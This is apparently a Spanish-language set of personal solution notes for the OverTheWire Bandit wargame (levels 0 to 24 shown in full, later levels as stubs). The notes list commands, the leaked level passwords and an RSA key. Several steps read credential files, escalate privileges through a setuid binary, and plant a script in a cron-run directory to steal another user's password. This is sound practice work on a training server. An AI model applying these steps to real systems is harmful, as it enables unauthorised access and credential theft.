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Ancla bandit
👾 BANDIT_0
The goal of this level is for you to log into the game using SSH. The host to which you need to connect is bandit.labs.overthewire.org, on port 2220. The username is bandit0 and the password is bandit0. Once logged in, go to the Level 1 page to find out how to beat Level 1
apt install sshpass (instalar sshpass para meter la contraseña directamente en la conexión)
sshpass -p 'bandit0' ssh bandit0@bandit.labs.overthewire.org -p 2220
binario password usuario @ servidor puerto
👾 BANDIT_0>1
The password for the next level is stored in a file called readme located in the home directory. Use this password to log into bandit1 using SSH. Whenever you find a password for a level, use SSH (on port 2220) to log into that level and continue the game
sshpass -p 'bandit0' ssh bandit0@bandit.labs.overthewire.org -p 2220
ls
readme
cat readme
NH2SXQwcBdpmTEzi3bvBHMM9H66vVXjL
👾 BANDIT_2>3
The password for the next level is stored in a file called spaces in this filename located in the home directory
sshpass -p 'rRGizSaX8Mk1RTb1CNQoXTcYZWU6lgzi' ssh bandit2@bandit.labs.overthewire.org -p 2220
ls
spaces in this filename
cat "spaces in this filename"
aBZ0W5EmUfAf7kHTQeOwd8bauFJ2lAiG
👾 BANDIT_4>5
The password for the next level is stored in the only human-readable file in the inhere directory. Tip: if your terminal is messed up, try the “reset” command
sshpass -p '2EW7BBsr6aMMoJ2HjW067dm8EgX26xNe' ssh bandit4@bandit.labs.overthewire.org -p 2220
ls
inhere
cd inhere
ls | file ./*
./-file00: data
./-file01: data
./-file02: data
./-file03: data
./-file04: data
./-file05: data
./-file06: data
./-file07: ASCII text
./-file08: data
./-file09: data
cat ./"-file07"
lrIWWI6bB37kxfiCQZqUdOIYfr6eEeqR
👾 BANDIT_5>6
The password for the next level is stored in a file somewhere under the inhere directory and has all of the following properties:
- human-readable
- 1033 bytes in size
- not executable
sshpass -p 'lrIWWI6bB37kxfiCQZqUdOIYfr6eEeqR' ssh bandit5@bandit.labs.overthewire.org -p 2220
ls
inhere
cd inhere
find -size 1033c
./maybehere07/.file2
cat ./maybehere07/.file2
P4L4vucdmLnm8I7Vl7jG1ApGSfjYKqJU
👾 BANDIT_6>7
The password for the next level is stored somewhere on the server and has all of the following properties:
- owned by user bandit7
- owned by group bandit6
- 33 bytes in size
sshpass -p 'P4L4vucdmLnm8I7Vl7jG1ApGSfjYKqJU' ssh bandit6@bandit.labs.overthewire.org -p 2220
cat /etc/passwd | grep bandit7
bandit7:x:11007:11007:bandit level 7:/home/bandit7:/bin/bash
find / -size 33c -user 11007 2>/dev/null ( find / -size 33c -user bandit7 2>/dev/null)
/etc/bandit_pass/bandit7
/var/lib/dpkg/info/bandit7.password
cat /var/lib/dpkg/info/bandit7.password
z7WtoNQU2XfjmMtWA8u5rN4vzqu4v99S
👾 BANDIT_8>9
The password for the next level is stored in the file data.txt and is the only line of text that occurs only once
sshpass -p 'TESKZC0XvTetK0S9xNwm25STk5iWrBvP' ssh bandit8@bandit.labs.overthewire.org -p 2220
ls
data.txt
sort data.txt | uniq -u
EN632PlfYiZbn3PhVK3XOGSlNInNE00t
sort = cat por orden alfabético
uniq -u = solo imprime líneas únicas
uniq -d = solo imprime líneas duplicadas
uniq -D = imprime todas las líneas duplicadas
uniq -c 5 = solo imprime líneas duplicadas 5 veces (o el número que se indique)
uniq -i = imprime líneas ignorando diferencias
👾 BANDIT_9>10
The password for the next level is stored in the file data.txt in one of the few human-readable strings, preceded by several ‘=’ characters
sshpass -p 'EN632PlfYiZbn3PhVK3XOGSlNInNE00t' ssh bandit9@bandit.labs.overthewire.org -p 2220
cat data.txt | strings | grep ==
x]T========== theG)"
========== passwordk^
========== is
========== G7w8LIi6J3kTb8A7j9LgrywtEUlyyp6s
👾 BANDIT_10>11
The password for the next level is stored in the file data.txt, which contains base64 encoded data
sshpass -p 'G7w8LIi6J3kTb8A7j9LgrywtEUlyyp6s' ssh bandit10@bandit.labs.overthewire.org -p 2220
base64 -d data.txt
The password is 6zPeziLdR2RKNdNYFNb6nVCKzphlXHBM
base64 -d data.txt | awk '{print $4}'
6zPeziLdR2RKNdNYFNb6nVCKzphlXHBM
bandit 10
👾 BANDIT_11>12
The password for the next level is stored in the file data.txt, where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions
sshpass -p '6zPeziLdR2RKNdNYFNb6nVCKzphlXHBM' ssh bandit11@bandit.labs.overthewire.org -p 2220
cat data.txt | tr 'A-Za-z' 'N-ZA-Mn-za-m'
The password is JVNBBFSmZwKKOP0XbFXOoW8chDz5yVRv
cat data.txt | tr 'A-Za-z' 'N-ZA-Mn-za-m' | awk 'NF{print $NF}'
JVNBBFSmZwKKOP0XbFXOoW8chDz5yVRv
👾 BANDIT_12>13
The password for the next level is stored in the file data.txt, which is a hexdump of a file that has been repeatedly compressed. For this level it may be useful to create a directory under /tmp in which you can work using mkdir. For example: mkdir /tmp/myname123. Then copy the datafile using cp, and rename it using mv (read the manpages!)
sshpass -p 'JVNBBFSmZwKKOP0XbFXOoW8chDz5yVRv' ssh bandit12@bandit.labs.overthewire.org -p 2220
ls
data.txt
mkdir /tmp/dreis
cp data.txt /tmp/dreis
cd /tmp/dreis
ls -l
data.txt
file data.txt
data.txt: ASCII text (es un hexdump)
xxd -r data.txt > data
ls -l
data
file data
data: gzip compressed data, was "data2.bin", last modified: Thu Oct 5 06:19:20 2023, max compression, from Unix, original size modulo 2^32 573
mv data data.gz (es necesario cambiar la extensión del archivo para poder usar gzip para descomprimir)
file data
data: bzip2 compressed data, block size = 900k
mv data data1.bz2
bzip2 -d data1.bz2
file data1
data1: gzip compressed data, was "data4.bin", last modified: Thu Oct 5 06:19:20 2023, max compression, from Unix, original size modulo 2^32 20480
v data1 data1.gz
gzip -d data1.gz
ls
data1
file data1
data1: POSIX tar archive (GNU)
tar -xf data1
ls
data5.bin
file data5.bin
data5.bin: POSIX tar archive (GNU)
tar -xf data5.bin
ls
data6.bin
file data6.bin
data6.bin: bzip2 compressed data, block size = 900k
mv data6.bin data6.bz2
bzip2 -d data6.bz2
ls
data6
file data6
data6: POSIX tar archive (GNU)
btar -xf data6
ls
data8.bin
file data8.bin
data8.bin: gzip compressed data, was "data9.bin", last modified: Thu Oct 5 06:19:20 2023, max compression, from Unix, original size modulo 2^32 49
mv data8.bin data8.gz
gzip -d data8.gz
ls
data8
cat data8
The password is wbWdlBxEir4CaE8LaPhauuOo6pwRmrDw
👾 BANDIT_13>14
The password for the next level is stored in /etc/bandit_pass/bandit14 and can only be read by user bandit14. For this level, you don’t get the next password, but you get a private SSH key that can be used to log into the next level. Note: localhost is a hostname that refers to the machine you are working on
sshpass -p 'wbWdlBxEir4CaE8LaPhauuOo6pwRmrDw' ssh bandit13@bandit.labs.overthewire.org -p 2220
ls
sshkey.private
ssh -i sshkey.private bandit14@localhost -p 2220
( -i usa archivo como password)
Connected !
bandit14@bandit:~$
👾 BANDIT_14>15
The password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost
cat /etc/bandit_pass/bandit14
fGrHPx402xGC7U7rXKDaxiWFTOiF0ENq
telnet localhost 30000 (también: nc localhost 30000)
(después pegar contraseña: fGrHPx402xGC7U7rXKDaxiWFTOiF0ENq y enter)
Correct!
jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt
👾 BANDIT_15>16
The password for the next level can be retrieved by submitting the password of the current level to port 30001 on localhost using SSL encryption
Helpful note: Getting “HEARTBEATING” and “Read R BLOCK”? Use -ign_eof and read the “CONNECTED COMMANDS” section in the manpage. Next to ‘R’ and ‘Q’, the ‘B’ command also works in this version of that command…
sshpass -p 'jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt' ssh bandit15@bandit.labs.overthewire.org -p 2220
ncat --ssl localhost 30001 (también: ncat --ssl 127.0.0.1 30001)
jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt
Correct!
JQttfApK4SeyHwDlI9SXGR50qclOAil1
👾 BANDIT_16>17
The credentials for the next level can be retrieved by submitting the password of the current level to a port on localhost in the range 31000 to 32000. First find out which of these ports have a server listening on them. Then find out which of those speak SSL and which don’t. There is only 1 server that will give the next credentials, the others will simply send back to you whatever you send to it
sshpass -p 'JQttfApK4SeyHwDlI9SXGR50qclOAil1' ssh bandit16@bandit.labs.overthewire.org -p 2220
nmap -p 31000-32000 localhost
Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-15 11:50 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00010s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
31518/tcp open unknown
31691/tcp open unknown
31790/tcp open unknown
31960/tcp open unknown
O también:
netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
netstat: no support for `AF INET (tcp)' on this system.
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::2220 :::* LISTEN
tcp6 0 0 :::2230 :::* LISTEN
tcp6 0 0 :::2231 :::* LISTEN
tcp6 0 0 :::2232 :::* LISTEN
tcp6 0 0 :::31518 :::* LISTEN
tcp6 0 0 :::31790 :::* LISTEN
tcp6 0 0 :::30001 :::* LISTEN
tcp6 0 0 :::30002 :::* LISTEN
O también:
nmap --open -T5 -v -n -p 31000-32000 localhost
Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-15 11:58 UTC
Initiating Ping Scan at 11:58
Scanning localhost (127.0.0.1) [2 ports]
Completed Ping Scan at 11:58, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 11:58
Scanning localhost (127.0.0.1) [1001 ports]
Discovered open port 31790/tcp on 127.0.0.1
Discovered open port 31960/tcp on 127.0.0.1
Discovered open port 31691/tcp on 127.0.0.1
Discovered open port 31046/tcp on 127.0.0.1
Discovered open port 31518/tcp on 127.0.0.1
Completed Connect Scan at 11:58, 0.03s elapsed (1001 total ports)
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00013s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
31046/tcp open unknown
31518/tcp open unknown
31691/tcp open unknown
31790/tcp open unknown
31960/tcp open unknown
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds
Habría que probar los puertos posibles. Sabiendo que se trata del puerto 31790:
ncat --ssl localhost 31790
(pegar password JQttfApK4SeyHwDlI9SXGR50qclOAil1 y enter)
Correct!
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----
La private key hay que guardarla en un archivo, que solo podemos crear en un directorio de /tmp, por tanto:
mkdir /tmp/sf01
cd /tmp/sf01
touch key
Ahora metemos la private key en "key" mediante CAT, usando ' ' para englobar la clave:
echo '-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----' > key
Ahora es necesario darle al archivo key con la private key los permisos pertinentes:
chmod 600 key
ls -l
-rw------- 1 bandit16 bandit16 1675 Dec 15 12:13 key
Con esto hecho, nos conectamos a bandit17 usando el archivo key (ssh -i):
ssh -i key bandit17@localhost -p 2220-
bandit17@bandit:~$
👾 BANDIT_17>18
There are 2 files in the home directory: passwords.old and passwords.new. The password for the next level is in passwords.new and is the only line that has been changed between passwords.old and passwords.new
NOTE: if you have solved this level and see ‘Byebye!’ when trying to log into bandit18, this is related to the next level, bandit19
ls
passwords.new passwords.old
diff passwords.new passwords.old
42c42
< hga5tuuCLF6fFzUpnagiMN8ssu9LFrdg
---
> p6ggwdNHncnmCNxuAt0KtKVq185ZU7AW
👾 BANDIT_18>19
The password for the next level is stored in a file readme in the home directory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH
(Conectándonos de forma normal nos saca con un "byebye!" porque alguien ha deshabilitado SSH. Para sortearlo, nosconectamos indicándole SH al final)
sshpass -p 'hga5tuuCLF6fFzUpnagiMN8ssu9LFrdg' ssh bandit18@bandit.labs.overthewire.org -p 2220 sh
_ _ _ _
| |__ __ _ _ __ __| (_) |_
| '_ \ / _` | '_ \ / _` | | __|
| |_) | (_| | | | | (_| | | |_
|_.__/ \__,_|_| |_|\__,_|_|\__|
This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames
_
whoami
bandit18 (ya estamos dentro como bandit18)
ls
readme
cat readme
awhqfNnAbc1naukrpqDYcF95h7HoMTrC
👾 BANDIT_19>20
To gain access to the next level, you should use the setuid binary in the home directory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (/etc/bandit_pass), after you have used the setuid binary
sshpass -p 'awhqfNnAbc1naukrpqDYcF95h7HoMTrC' ssh bandit19@bandit.labs.overthewire.org -p 2220
ls -l
-rwsr-x--- 1 bandit20 bandit19 14876 Oct 5 06:19 bandit20-do
file bandit20-do
bandit20-do: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=037b97b430734c79085a8720c90070e346ca378e, for GNU/Linux 3.2.0, not stripped
./bandit20-do bash -p
whoami
bandit20
cd /etc/bandit_pass
ls
bandit0 bandit10 bandit12 bandit14 bandit16 bandit18 bandit2 bandit21 bandit23 bandit25 bandit27 bandit29 bandit30 bandit32 bandit4 bandit6 bandit8
bandit1 bandit11 bandit13 bandit15 bandit17 bandit19 bandit20 bandit22 bandit24 bandit26 bandit28 bandit3 bandit31 bandit33 bandit5 bandit7 bandit9
cat bandit20
VxCazJaVykI6W36BkBU0mJTCM8rR95XT
👾 BANDIT_20>21
There is a setuid binary in the home directory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21)
NOTE: Try connecting to your own network daemon to see if it works as you think
sshpass -p 'VxCazJaVykI6W36BkBU0mJTCM8rR95XT' ssh bandit20@bandit.labs.overthewire.org -p 2220
ls -l
-rwsr-x--- 1 bandit21 bandit20 15600 Oct 5 06:19 suconnect
(Por un terminal ponemos al puerto 2222 escogido al azar, en escucha)
nc -nlvp 2222
Listening on 0.0.0.0 2222
(Por otro terminal, ejecutamos suconnect)
./suconnect 2222
Read: VxCazJaVykI6W36BkBU0mJTCM8rR95XT
Password matches, sending next password
(Simultáneamente, en el terminal en escucha nos tira)
Connection received on 127.0.0.1 60238
VxCazJaVykI6W36BkBU0mJTCM8rR95XT
NvEJF7oVjkddltPSrdKEFOllh9V1IBcq
bandit 20
👾 BANDIT_21>22
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed
sshpass -p 'NvEJF7oVjkddltPSrdKEFOllh9V1IBcq' ssh bandit21@bandit.labs.overthewire.org -p 2220
cd /etc/cron.d/
ls -l
-rw-r--r-- 1 root root 62 Oct 5 06:19 cronjob_bandit15_root
-rw-r--r-- 1 root root 62 Oct 5 06:19 cronjob_bandit17_root
-rw-r--r-- 1 root root 120 Oct 5 06:19 cronjob_bandit22
-rw-r--r-- 1 root root 122 Oct 5 06:19 cronjob_bandit23
-rw-r--r-- 1 root root 120 Oct 5 06:19 cronjob_bandit24
-rw-r--r-- 1 root root 62 Oct 5 06:19 cronjob_bandit25_root
-rw-r--r-- 1 root root 201 Jan 8 2022 e2scrub_all
-rwx------ 1 root root 52 Oct 5 06:20 otw-tmp-dir
-rw-r--r-- 1 root root 396 Feb 2 2021 sysstat
cat cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
cd /usr/bin/
cat cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
WdDozAdTM2z9DiFEQ2mGlwngMfj4EZff
👾 BANDIT_22>23
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
NOTE: Looking at shell scripts written by other people is a very useful skill. The script for this level is intentionally made easy to read. If you are having problems understanding what it does, try executing it to see the debug information it prints
sshpass -p 'WdDozAdTM2z9DiFEQ2mGlwngMfj4EZff' ssh bandit22@bandit.labs.overthewire.org -p 2220
cd /etc/cron.d/
ls -l
-rw-r--r-- 1 root root 62 Oct 5 06:19 cronjob_bandit15_root
-rw-r--r-- 1 root root 62 Oct 5 06:19 cronjob_bandit17_root
-rw-r--r-- 1 root root 120 Oct 5 06:19 cronjob_bandit22
-rw-r--r-- 1 root root 122 Oct 5 06:19 cronjob_bandit23
-rw-r--r-- 1 root root 120 Oct 5 06:19 cronjob_bandit24
-rw-r--r-- 1 root root 62 Oct 5 06:19 cronjob_bandit25_root
-rw-r--r-- 1 root root 201 Jan 8 2022 e2scrub_all
-rwx------ 1 root root 52 Oct 5 06:20 otw-tmp-dir
-rw-r--r-- 1 root root 396 Feb 2 2021 sysstat
cat cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
cat /usr/bin/cronjob_bandit23.sh
cd /usr/bin/
./cronjob_bandit23.sh
Copying passwordfile /etc/bandit_pass/bandit22 to /tmp/8169b67bd894ddbb4412f91573b38db3
(lo anterior no vale porque lo hace como bandit22, por lo tanto, siguiendo los pasos del .sh, intentamos definir "mytarget" ejecutando esa línea, usando bandit23 en lugar de $myname)
echo I am user bandit23 | md5sum
8ca319486bfbbc3663ea0fbe81326349 -
(nos tira el nombre de archivo que debería reemplazar "$mytarget" en /tmp)
cat /tmp/8ca319486bfbbc3663ea0fbe81326349
QYw0Y2aiA672PsMmh9puTQuhoz8SyR2G
👾 BANDIT_23>24
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!
NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…
sshpass -p 'QYw0Y2aiA672PsMmh9puTQuhoz8SyR2G' ssh bandit23@bandit.labs.overthewire.org -p 2220
cd /etc/cron.d/
ls -l
-rw-r--r-- 1 root root 62 Oct 5 06:19 cronjob_bandit15_root
-rw-r--r-- 1 root root 62 Oct 5 06:19 cronjob_bandit17_root
-rw-r--r-- 1 root root 120 Oct 5 06:19 cronjob_bandit22
-rw-r--r-- 1 root root 122 Oct 5 06:19 cronjob_bandit23
-rw-r--r-- 1 root root 120 Oct 5 06:19 cronjob_bandit24
-rw-r--r-- 1 root root 62 Oct 5 06:19 cronjob_bandit25_root
-rw-r--r-- 1 root root 201 Jan 8 2022 e2scrub_all
-rwx------ 1 root root 52 Oct 5 06:20 otw-tmp-dir
-rw-r--r-- 1 root root 396 Feb 2 2021 sysstat
cat cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname/foo
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Handling $i"
owner="$(stat --format "%U" ./$i)"
if [ "${owner}" = "bandit23" ]; then
timeout -s 9 60 ./$i
fi
rm -f ./$i
fi
done
cd /var/spool/bandit24/
ls -l
drwxrwx-wx 26 root bandit24 4096 Dec 15 15:47 foo
(dentro de "foo" tenemos permisos de escritura y ejecución. revisando el script en bash anterior, vemos que dice que cada 9 segundos se ejecutan y borran todos los scrips que en esa carpeta se encuentren, si estos pertenecen a "bandit23". lo importante es que las acciones de esos scripts los ejecuta "bandit24", por lo tanto podemos utilizar esto para acceder a la ruta /etc/bandit_pass/bandit24 en la que se encuentra la contraseña de "bandit24". para lograr esto, creamos una carpeta dentro de otra en /tmp)
mkdir /tmp/sf01
mkdir /tmp/sf01/sf02
(ahora desde sf01 le damos a sf02 plenos permisos para que desde el script, "bandit24" pueda escribir en esta)
chmod 777 sf02
(ahora creamos un archivo .sh para meter dentro un script en bash que haga lo siguiente)
touch script.sh
(en VIM redactamos el script así)
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/sf01/sf02/new
(imprimir el contenido de bandit24 y exportarlo a /tmp/ayuso/ayuso2 creando un archivo nuevo llamado "new")
(ahora hay que mandar el archivo script.sh a /var/spool/bandit24/foo)
cp script.sh /var/spool/bandit24/foo/
cd /tmp/sf01/sf02
ls
new
cat new
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar
👾 BANDIT_24>25
A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing
You do not need to create new connections each time
sshpass -p '??????' ssh bandit24@bandit.labs.overthewire.org -p 2220
--
👾 BANDIT_27>28
There is a git repository at ssh://bandit27-git@localhost/home/bandit27-git/repo via the port 2220. The password for the user bandit27-git is the same as for the user bandit27.
Clone the repository and find the password for the next level
sshpass -p '??????' ssh bandit27@bandit.labs.overthewire.org -p 2220
--
👾 BANDIT_28>29
There is a git repository at ssh://bandit28-git@localhost/home/bandit28-git/repo via the port 2220. The password for the user bandit28-git is the same as for the user bandit28.
Clone the repository and find the password for the next level
sshpass -p '??????' ssh bandit28@bandit.labs.overthewire.org -p 2220
--
👾 BANDIT_29>30
There is a git repository at ssh://bandit29-git@localhost/home/bandit29-git/repo via the port 2220. The password for the user bandit29-git is the same as for the user bandit29.
Clone the repository and find the password for the next level
sshpass -p '??????' ssh bandit29@bandit.labs.overthewire.org -p 2220
--
👾 BANDIT_30>31
There is a git repository at ssh://bandit30-git@localhost/home/bandit30-git/repo via the port 2220. The password for the user bandit30-git is the same as for the user bandit30.
Clone the repository and find the password for the next level
sshpass -p '??????' ssh bandit30@bandit.labs.overthewire.org -p 2220
--
👾 BANDIT_31>32
There is a git repository at ssh://bandit31-git@localhost/home/bandit31-git/repo via the port 2220. The password for the user bandit31-git is the same as for the user bandit31.
Clone the repository and find the password for the next level
sshpass -p '??????' ssh bandit31@bandit.labs.overthewire.org -p 2220
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Ancla natas
🖥️ NATAS_0
Natas teaches the basics of serverside web-security.
Each level of natas consists of its own website located at http://natasX.natas.labs.overthewire.org, where X is the level number. There is no SSH login. To access a level, enter the username for that level (e.g. natas0 for level 0) and its password.
Each level has access to the password of the next level. Your job is to somehow obtain that next password and level up. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.
Start here:
Username: natas0
Password: natas0
URL: http://natas0.natas.labs.overthewire.org
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